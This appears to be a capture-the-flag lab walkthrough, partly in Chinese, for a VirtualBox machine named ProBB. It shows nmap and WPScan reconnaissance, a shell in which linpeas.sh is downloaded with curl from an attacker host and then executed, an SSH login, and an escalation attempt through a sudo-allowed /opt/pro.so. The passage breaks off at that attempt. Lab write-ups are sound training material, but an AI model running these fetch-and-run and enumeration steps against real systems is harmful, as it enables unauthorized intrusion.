[~] The config file is expected to be at "/root/.rustscan.toml" [~] File limit higher than batch size. Can increase speed by increasing batch size '-b 10140'. Open 192.168.43.83:22 Open 192.168.43.83:80 Open 192.168.43.83:8080 [~] Starting Script(s) [>] Running script "nmap -vvv -p {{port}} -{{ipversion}} {{ip}} -A" on ip 192.168.43.83 Depending on the complexity of the script, results may take some time to appear. [~] Starting Nmap 7.99 ( https://nmap.org ) at 2026-05-06 19:46 +0800 NSE: Loaded 158 scripts for scanning. NSE: Script Pre-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 19:46 Completed NSE at 19:46, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 19:46 Completed NSE at 19:46, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 19:46 Completed NSE at 19:46, 0.00s elapsed Initiating ARP Ping Scan at 19:46 Scanning 192.168.43.83 [1 port] Completed ARP Ping Scan at 19:46, 0.04s elapsed (1 total hosts) Initiating Parallel DNS resolution of 1 host. at 19:46 Completed Parallel DNS resolution of 1 host. at 19:46, 0.50s elapsed DNS resolution of 1 IPs took 0.50s. Mode: Async [#: 1, OK: 0, NX: 1, DR: 0, SF: 0, TR: 1, CN: 0] Initiating SYN Stealth Scan at 19:46 Scanning 192.168.43.83 [3 ports] Discovered open port 22/tcp on 192.168.43.83 Discovered open port 8080/tcp on 192.168.43.83 Discovered open port 80/tcp on 192.168.43.83 Completed SYN Stealth Scan at 19:46, 0.02s elapsed (3 total ports) Initiating Service scan at 19:46 Scanning 3 services on 192.168.43.83 Completed Service scan at 19:46, 7.64s elapsed (3 services on 1 host) Initiating OS detection (try #1) against 192.168.43.83 NSE: Script scanning 192.168.43.83. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 19:46 Completed NSE at 19:46, 4.13s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 19:46 Completed NSE at 19:46, 0.17s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 19:46 Completed NSE at 19:46, 0.00s elapsed Nmap scan report for 192.168.43.83 Host is up, received arp-response (0.00061s latency). Scanned at 2026-05-06 19:46:17 CST for 13s
PORT STATE SERVICE REASON VERSION 22/tcp open ssh syn-ack ttl 64 OpenSSH 8.4p1 Debian 5+deb11u3 (protocol 2.0) | ssh-hostkey: | 3072 f6:a3:b6:78:c4:62:af:44:bb:1a:a0:0c:08:6b:98:f7 (RSA) | ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDRmicDuAIhDTuUUa37WCIEK2z2F1aDUtiJpok20zMzkbe1B41ZvvydX3JHjf7mgl0F/HRQlGHiA23Il+dwr0YbbBa2ggd5gDl95RSHhuUff/DIC10OFbP3YU8A4ItFb8pR6dN8jr+zU1SZvfx6FWApSkTJmeLPq9PN889+ibvckJcOMqrm1Y05FW2VCWn8QRvwivnuW7iU51IVz7arFe8JShXOLu0ANNqZEXyJyWjaK+MqyOK6ZtoWdyinEQFua81+tBZuvS+qb+AG15/h5hBsS/tUgVk5SieY6cCRvkYFHB099e1ggrigfnN4Kq2GvzRUYkegjkPzJFQ7BhPyxT/kDKrlVcLX54sXrp0poU5R9SqSnnESXVM4HQfjIIjTrJFufc2nBF+4f8dH3qtQ+jJkcPEKNVSKKEDULEk1BSBdokhh1GidxQY7ok+hEb9/wPmo6RBeb1d5t11SP8R5UHyI/yucRpS2M8hpBaovJv8pX1VwpOz3tUDJWCpkB3K8HDk= | 256 bb:e8:a2:31:d4:05:a9:c9:31:ff:62:f6:32:84:21:9d (ECDSA) | ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBI2Hl4ZEYgnoDQflo03hI6346mXex6OPxHEjxDufHbkQZVosDPFwZttA8gloBLYLtvDVo9LZZwtv7F/EIiQoIHE= | 256 3b:ae:34:64:4f:a5:75:b9:4a:b9:81:f9:89:76:99:eb (ED25519) |_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAILRLvZKpSJkETalR4sqzJOh8a4ivZ8wGt1HfdV3OMNY1 80/tcp open http syn-ack ttl 64 Apache httpd 2.4.62 ((Debian)) | http-methods: |_ Supported Methods: GET POST OPTIONS HEAD |_http-server-header: Apache/2.4.62 (Debian) |_http-title: Site doesn't have a title (text/html). 8080/tcp open http syn-ack ttl 63 Apache httpd 2.4.65 ((Debian)) |_http-favicon: Unknown favicon MD5: 000BF649CC8F6BF27CFB04D1BCDCD3C7 |_http-open-proxy: Proxy might be redirecting requests | http-robots.txt: 1 disallowed entry |_/wp-admin/ | http-methods: |_ Supported Methods: GET HEAD POST OPTIONS |_http-server-header: Apache/2.4.65 (Debian) |_http-title: B2~happy! |_http-generator: WordPress 6.9 MAC Address: 08:00:27:1A:D3:F4 (Oracle VirtualBox virtual NIC) Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port Device type: general purpose|router Running: Linux 4.X|5.X, MikroTik RouterOS 7.X OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5 cpe:/o:mikrotik:routeros:7 cpe:/o:linux:linux_kernel:5.6.3 OS details: Linux 4.15 - 5.19, OpenWrt 21.02 (Linux 5.4), MikroTik RouterOS 7.2 - 7.5 (Linux 5.6.3) TCP/IP fingerprint: OS:SCAN(V=7.99%E=4%D=5/6%OT=22%CT=%CU=35684%PV=Y%DS=1%DC=D%G=N%M=080027%TM= OS:69FB2A16%P=x86_64-pc-linux-gnu)SEQ(SP=107%GCD=1%ISR=10D%TI=Z%CI=Z%II=I%T OS:S=A)OPS(O1=M5B4ST11NW7%O2=M5B4ST11NW7%O3=M5B4NNT11NW7%O4=M5B4ST11NW7%O5= OS:M5B4ST11NW7%O6=M5B4ST11)WIN(W1=FE88%W2=FE88%W3=FE88%W4=FE88%W5=FE88%W6=F OS:E88)ECN(R=Y%DF=Y%T=40%W=FAF0%O=M5B4NNSNW7%CC=Y%Q=)T1(R=Y%DF=Y%T=40%S=O%A OS:=S+%F=AS%RD=0%Q=)T2(R=N)T3(R=N)T4(R=Y%DF=Y%T=40%W=0%S=A%A=Z%F=R%O=%RD=0% OS:Q=)T5(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)T6(R=Y%DF=Y%T=40%W=0%S= OS:A%A=Z%F=R%O=%RD=0%Q=)T7(R=Y%DF=Y%T=40%W=0%S=Z%A=S+%F=AR%O=%RD=0%Q=)U1(R= OS:Y%DF=N%T=40%IPL=164%UN=0%RIPL=G%RID=G%RIPCK=G%RUCK=G%RUD=G)IE(R=Y%DFI=N% OS:T=40%CD=S)
Uptime guess: 29.700 days (since Tue Apr 7 02:59:00 2026) Network Distance: 1 hop TCP Sequence Prediction: Difficulty=263 (Good luck!) IP ID Sequence Generation: All zeros Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE HOP RTT ADDRESS 1 0.61 ms 192.168.43.83
NSE: Script Post-scanning. NSE: Starting runlevel 1 (of 3) scan. Initiating NSE at 19:46 Completed NSE at 19:46, 0.00s elapsed NSE: Starting runlevel 2 (of 3) scan. Initiating NSE at 19:46 Completed NSE at 19:46, 0.00s elapsed NSE: Starting runlevel 3 (of 3) scan. Initiating NSE at 19:46 Completed NSE at 19:46, 0.00s elapsed Read data files from: /usr/share/nmap OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 14.05 seconds Raw packets sent: 26 (1.938KB) | Rcvd: 18 (1.410KB)
WordPress Security Scanner by the WPScan Team Version 3.8.28 Sponsored by Automattic - https://automattic.com/ @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________
[+] Enumerating All Plugins (via Passive Methods) [+] Checking Plugin Versions (via Passive and Aggressive Methods)
[i] Plugin(s) Identified:
[+] * | Location: http://192.168.43.83:8080/wp-content/plugins/*/ | | Found By: Urls In Homepage (Passive Detection) | Confirmed By: Urls In 404 Page (Passive Detection) | | The version could not be determined.
[!] No WPScan API Token given, as a result vulnerability data has not been output. [!] You can get a free API token with 25 daily requests by registering at https://wpscan.com/register
www-data@712695f2b369:/tmp$ curl -L http://192.168.43.6/linpeas.sh -o /tmp/linpeas.sh % Total % Received % Xferd Average Speed Time Time Time Current Dload Upload Total Spent Left Speed 100 952k 100 952k 0 0 53.1M 0 --:--:-- --:--:-- --:--:-- 54.7M www-data@712695f2b369:/tmp$ chmod +x linpeas.sh www-data@712695f2b369:/tmp$ ./linpeas.sh
┌──(root㉿Eecho)-[/tmp/bbbb] └─# ssh b2@192.168.43.83 ** WARNING: connection is not using a post-quantum key exchange algorithm. ** This session may be vulnerable to "store now, decrypt later" attacks. ** The server may need to be upgraded. See https://openssh.com/pq.html b2@192.168.43.83's password: Linux ProBB 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
The programs included with the Debian GNU/Linux system are free software; the exact distribution terms for each program are described in the individual files in /usr/share/doc/*/copyright.
Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent permitted by applicable law. Last login: Wed May 6 07:41:47 2026 from 192.168.43.6 -bash-5.0$ id uid=1000(b2) gid=1000(b2) groups=1000(b2) -bash-5.0$
在b2用户的家目录下.profile给出了hint
可以使用/opt/pro.so提权
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-bash-5.0$ sudo -l Matching Defaults entries for b2 on ProBB: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin
User b2 may run the following commands on ProBB: (ALL : ALL) /opt/pro.so
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-bash-5.0$ sudo /opt/pro.so --help [!] Security Alert: Invalid payload format. [!] Only standard proxies and authorized maintenance paths are allowed.
仅允许标准代理和授权的维护路径
前面又提示我们定时任务，那么这题大概率就是利用定时任务了
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-bash-5.0$ sudo /opt/pro.so TCP:192.168.1.100:80 [+] Mode: Network Proxy [+] Routing traffic on 0.0.0.0:9876 -> TCP:192.168.1.100:80 [+] Press [Ctrl+C] to stop the service.
